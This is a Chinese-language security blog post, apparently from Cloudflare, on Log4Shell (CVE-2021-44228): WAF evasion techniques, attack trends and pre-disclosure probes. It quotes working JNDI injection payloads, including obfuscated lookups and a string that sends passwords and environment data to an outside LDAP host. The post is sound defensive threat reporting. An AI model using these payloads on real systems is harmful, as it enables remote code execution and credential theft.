在此部落格文章中，我們將探討世界上常見的 WAF 規避模式與滲漏嘗試、所嘗試之漏洞利用的趨勢資料，以及我們在 CVE-2021-44228 公開揭露之前看到的漏洞利用相關資訊。
簡而言之，我們在公開揭露的八天前，也就是 12 月 1 日看到了漏洞的有限測試。我們看到第一個嘗試是在公開揭露之後僅僅九分鐘就利用了漏洞，這顯示攻擊者非常快就利用到新發現的問題。
我們也看到有大量嘗試想要規避試著執行簡易封鎖的 WAF；我們看到大量的嘗試想要滲漏資料，包括金鑰憑證和密碼。
WAF 規避模式與滲漏嘗試
自從 CVE-2021-44228（現在通稱為 Log4Shell）揭露之後，我們看到攻擊者從使用簡易的攻擊字串，變成主動嘗試規避 WAF 的封鎖。WAF 提供實用的工具來阻擋外部攻擊者，且 WAF 規避通常是用來嘗試取得過去的簡單規則。
在 Log4j 漏洞遭到利用的早期階段中，攻擊者是使用非模糊的字串（通常是以 ${jndi:dns、${jndi:rmi 和 ${jndi:ldap 為開頭），而且尋找這些模式的簡易規則相當有效。
很快地，在這些字串遭到封鎖之後，攻擊者轉而使用規避技巧。他們過去和現在都是使用標準規避技巧（字元逸出或編碼）和針對 Log4j 查閱語言所量身打造的特定規避。
任何具備功能的 WAF 都將能夠處理標準技巧。將 ${ 編碼為 %24%7B 或 \u0024\u007b 等技巧，都能夠在套用規則來檢查是否使用特定漏洞利用之前輕鬆還原。
但是，Log4j 語言具備一些豐富的功能，能夠遮蔽部分 WAF 尋找的金鑰字串。例如 ${lower} 查閱會將字串變成小寫。因此，${lower:H} 會變成 h。攻擊者會利用查閱來偽裝關鍵字串，像是 jndi，因此有助於規避 WAF。
在外部，我們發現會使用 ${date}、${lower}、${upper}、${web}、${main} 和 ${env} 進行規避。此外，也會使用 ${env}、${sys} 和 ${main}（以及其他適用於 Docker、Kubernetes 和其他系統的專屬查閱）來滲漏來自目標處理環境的資料（包括關鍵金鑰）。
為了更深入瞭解此語言如何使用，以下是一小段透過 Log4j 將命令串中的字串擷取並記錄到主控台的 Java 程式：
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
這個簡易的程式會寫入主控台。以下會記錄 hide 這個單字。
$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide
Log4j 語言會允許在 ${} 內部使用 ${}，因此攻擊者得以結合多個不同的關鍵字來進行規避。例如，下方的 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e 會記錄為 hide 一詞。這讓攻擊者能夠輕鬆規避 ${jndi 等簡單搜尋，因為 jndi 的字母可以透過簡易的方式隱藏。
$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide
其他主要的規避技巧則是利用 :- 語法。該語法可讓攻擊者針對某個查閱設定預設值，而且如果所查閱的值為空白，就會輸出預設值。因此，舉例來說，就可以透過查閱不存在的環境變數來輸出某個單字的字母。
$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide
類似的技巧會搭配使用 ${web}、${main} 等，以及 ${::-h} 或 ${::::::-h} 字串（這兩者都會變成 h）。此外，當然也會結合使用這些技巧來進行越來越精巧的規避嘗試。
為了瞭解規避是如何發動的，以下表格顯示了在 WAF 封鎖中出現的非模糊 ${jndi:（橘色線條）、${lower} 查閱的使用（綠色線條）、URI 編碼的使用（藍色線條），以及一種越來越普遍的特定規避 ${${::-j}${::-n}${::-d}${::-i}（紅色線條）。
一開始的幾天，規避相對稀少。但是現在，雖然 ${jndi: 等原生字串依然相當普遍，但規避已經發動，而且 WAF 必須封鎖這些改良後的攻擊。
我們上週撰寫過多數與偵察相關的漏洞利用初始階段相關文章。在那之後，攻擊者已轉至資料擷取。
我們發現他們使用 ${env} 來擷取環境變數，並使用 ${sys} 來取得有關執行 Log4j 之系統的資訊。其中有一次在外部遭到封鎖的攻擊，曾嘗試從多個 Log4j 查閱滲漏大量資料：
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
您可以在其中看到使用者、主目錄、Docker 影像名稱、Kubernetes 和 Spring 的詳細資料、使用者和資料庫的密碼、主機名稱，以及遭到滲漏的命令串引數。
因為規避和滲漏 WAF 相當複雜，廠商必須留意是否出現任何 ${，並將其視為可疑。因此，我們會額外提供方式來處理傳送給客戶的任何記錄，以便將 ${ 轉換為 x{。
Cloudflare WAF 團隊不斷地努力封鎖嘗試的漏洞利用，但客戶仍然務必使用最新的 Log4j 來修補系統或套用防護。因為所記錄的資料不一定是透過網際網路而來，因此無論系統是否以網際網路為面向，都必須進行修補。
所有付費客戶都擁有可設定的 WAF 規則可協助防止 CVE-2021-44228，我們也為免費客戶部署了防護。
CVE-2021-44228 漏洞利用趨勢
Cloudflare 已快速制定 WAF 規則來協助封鎖這些攻擊。以下圖表顯示這些遭封鎖的攻擊如何演變。
從 12 月 10 日到 12 月 13 日，我們發現每分鐘封鎖的數量有所攀升，如下所示。
| 日期 | 每分鐘遭封鎖的平均要求次數 |
|---|---|
| 2021 年 12 月 10 日 | 5,483 |
| 2021 年 12 月 11 日 | 18,606 |
| 2021 年 12 月 12 日 | 27,439 |
| 2021 年 12 月 13 日 | 24,642 |
在我們初期的部落格文章中，我們曾註明加拿大（下方的綠色線條）是嘗試漏洞利用的最大來源國家。正如我們所預測，該情況並未持續，而且攻擊是來自世界各地，無論是直接來自伺服器或透過代理。
揭露之前的 CVE-2021-44228 漏洞利用
CVE-2021-44228 是在 UTC 時間 2021 年 12 月 9 日 14:25 透過一則推文揭露（現在已刪除）：
但是，我們的系統在 2021 年 12 月 1 日擷取到三個嘗試過漏洞利用或掃描的實例，如下所示。我已將其中的 IP 位址和網域名稱模糊化。這三個實例都在 HTTP User-Agent 標頭、Referer 標頭和 URI 參數中注入了 ${jndi:ldap} 查閱。
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
在這三個嘗試之後，我們並沒有發現進一步的活動，一直到公開揭露之後的九分鐘為止，才有人嘗試在遊戲網站上嘗試透過 URI 參數注入 ${jndi:ldap} 字串。
2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}
結論
非常多的攻擊者目前正在積極地利用 CVE-2021-44228。WAF 是有助於防止外部攻擊的有效措施，但是並非萬無一失，攻擊者也在積極地尋求規避。資料和憑證的滲漏機率非常地高，而且更具破壞性的駭客入侵與攻擊的長期風險就在眼前。
請務必立即對使用 Log4j 的受影響軟體進行緩解和修補，刻不容緩。